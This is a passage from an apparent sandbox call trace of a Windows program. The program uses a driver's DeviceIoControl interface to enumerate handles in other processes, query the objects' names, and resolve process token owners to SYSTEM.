lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0068.675] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.675] PsAcquireProcessExitSynchronization () returned 0x0 [0068.675] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.675] ObReferenceObjectByHandle (in: Handle=0x89c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80023c7580, HandleInformation=0x0) returned 0x0 [0068.675] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.675] PsReleaseProcessExitSynchronization () returned 0x2 [0068.675] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.675] ObQueryNameString (in: Object=0xfffffa80023c7580, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.675] ObfDereferenceObject (Object=0xfffffa80023c7580) returned 0x1 [0068.675] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.675] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0068.675] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.675] PsAcquireProcessExitSynchronization () returned 0x0 [0068.675] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.675] ObReferenceObjectByHandle (in: Handle=0x8e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019bb3f0, HandleInformation=0x0) returned 0x0 [0068.675] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.675] PsReleaseProcessExitSynchronization () returned 0x2 [0068.675] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.675] ObQueryNameString (in: Object=0xfffffa80019bb3f0, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.676] ObfDereferenceObject (Object=0xfffffa80019bb3f0) returned 0x2 [0068.676] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.676] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.676] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0068.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.676] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003058b30, HandleInformation=0x0) returned 0x0 [0068.676] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000062c) returned 0x0 [0068.676] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x44 [0068.676] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000062c, DesiredAccess=0x8, TokenHandle=0xfffffa800344e240 | out: TokenHandle=0xfffffa800344e240*=0xc8) returned 0x0 [0068.676] ZwClose (Handle=0xffffffff8000062c) returned 0x0 [0068.676] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.676] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.676] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.677] CloseHandle (hObject=0xc8) returned 1 [0068.677] CloseHandle (hObject=0xc0) returned 1 [0068.677] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.677] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.677] PsAcquireProcessExitSynchronization () returned 0x0 [0068.678] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0068.678] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030867a0, HandleInformation=0x0) returned 0x0 [0068.678] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.678] PsReleaseProcessExitSynchronization () returned 0x2 [0068.678] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0068.678] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.678] ObfDereferenceObject (Object=0xfffffa80030867a0) returned 0x1 [0068.678] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.678] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.678] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.678] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.678] PsAcquireProcessExitSynchronization () returned 0x0 [0068.678] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0068.678] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003059550, HandleInformation=0x0) returned 0x0 [0068.678] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.678] PsReleaseProcessExitSynchronization () returned 0x2 [0068.678] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0068.678] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.678] ObfDereferenceObject (Object=0xfffffa8003059550) returned 0x1 [0068.678] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.678] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.678] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.678] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.678] PsAcquireProcessExitSynchronization () returned 0x0 [0068.678] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0068.678] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003107a00, HandleInformation=0x0) returned 0x0 [0068.678] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.678] PsReleaseProcessExitSynchronization () returned 0x2 [0068.679] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0068.679] ObQueryNameString (in: Object=0xfffffa8003107a00, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.679] ObfDereferenceObject (Object=0xfffffa8003107a00) returned 0x1 [0068.679] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.679] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.679] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0068.679] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.679] PsAcquireProcessExitSynchronization () returned 0x0 [0068.679] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0068.679] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003109240, HandleInformation=0x0) returned 0x0 [0068.679] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.679] PsReleaseProcessExitSynchronization () returned 0x2 [0068.679] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0068.679] ObQueryNameString (in: Object=0xfffffa8003109240, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.679] ObfDereferenceObject (Object=0xfffffa8003109240) returned 0x2 [0068.679] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.679] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.679] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0068.679] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.679] PsAcquireProcessExitSynchronization () returned 0x0 [0068.679] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0068.679] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031081a0, HandleInformation=0x0) returned 0x0 [0068.679] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.679] PsReleaseProcessExitSynchronization () returned 0x2 [0068.679] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0068.679] ObQueryNameString (in: Object=0xfffffa80031081a0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.679] ObfDereferenceObject (Object=0xfffffa80031081a0) returned 0x1 [0068.679] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.680] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.680] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0068.680] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.680] PsAcquireProcessExitSynchronization () returned 0x0 [0068.680] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0068.680] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800310bc90, HandleInformation=0x0) returned 0x0 [0068.680] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.680] PsReleaseProcessExitSynchronization () returned 0x2 [0068.680] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0068.680] ObQueryNameString (in: Object=0xfffffa800310bc90, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.680] ObfDereferenceObject (Object=0xfffffa800310bc90) returned 0x1 [0068.680] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.680] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.680] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0068.680] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.680] PsAcquireProcessExitSynchronization () returned 0x0 [0068.680] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0068.680] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032199e0, HandleInformation=0x0) returned 0x0 [0068.680] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.680] PsReleaseProcessExitSynchronization () returned 0x2 [0068.680] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0068.680] ObQueryNameString (in: Object=0xfffffa80032199e0, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.680] ObfDereferenceObject (Object=0xfffffa80032199e0) returned 0x11 [0068.680] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.680] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.680] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xc0 [0068.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.680] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0068.680] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000062c) returned 0x0 [0068.681] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x89 [0068.681] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000062c, DesiredAccess=0x8, TokenHandle=0xfffffa800344e240 | out: TokenHandle=0xfffffa800344e240*=0xc8) returned 0x0 [0068.681] ZwClose (Handle=0xffffffff8000062c) returned 0x0 [0068.681] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.681] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.681] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.682] CloseHandle (hObject=0xc8) returned 1 [0068.682] CloseHandle (hObject=0xc0) returned 1 [0068.682] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.682] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.682] PsAcquireProcessExitSynchronization () returned 0x0 [0068.682] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.682] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030bf6c0, HandleInformation=0x0) returned 0x0 [0068.682] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.682] PsReleaseProcessExitSynchronization () returned 0x2 [0068.682] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.682] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003987044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003987044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.682] ObfDereferenceObject (Object=0xfffffa80030bf6c0) returned 0x1 [0068.682] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.682] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.682] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.682] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.682] PsAcquireProcessExitSynchronization () returned 0x0 [0068.682] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.683] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030d0d00, HandleInformation=0x0) returned 0x0 [0068.683] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.683] PsReleaseProcessExitSynchronization () returned 0x2 [0068.683] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.683] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003986044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003986044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.683] ObfDereferenceObject (Object=0xfffffa80030d0d00) returned 0x1 [0068.683] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.683] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.683] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0068.683] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.683] PsAcquireProcessExitSynchronization () returned 0x0 [0068.683] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.683] ObReferenceObjectByHandle (in: Handle=0x280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030cbf20, HandleInformation=0x0) returned 0x0 [0068.683] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.683] PsReleaseProcessExitSynchronization () returned 0x2 [0068.683] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.683] ObQueryNameString (in: Object=0xfffffa80030cbf20, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.683] ObfDereferenceObject (Object=0xfffffa80030cbf20) returned 0x1 [0068.683] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.683] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.683] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0068.683] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.683] PsAcquireProcessExitSynchronization () returned 0x0 [0068.683] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.683] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030cbc80, HandleInformation=0x0) returned 0x0 [0068.683] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.683] PsReleaseProcessExitSynchronization () returned 0x2 [0068.683] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.683] ObQueryNameString (in: Object=0xfffffa80030cbc80, ObjectNameInfo=0xfffffa800396b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.684] ObfDereferenceObject (Object=0xfffffa80030cbc80) returned 0x2 [0068.684] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.684] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.684] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.684] DeviceIoControl (in: hDevice=0x7c, 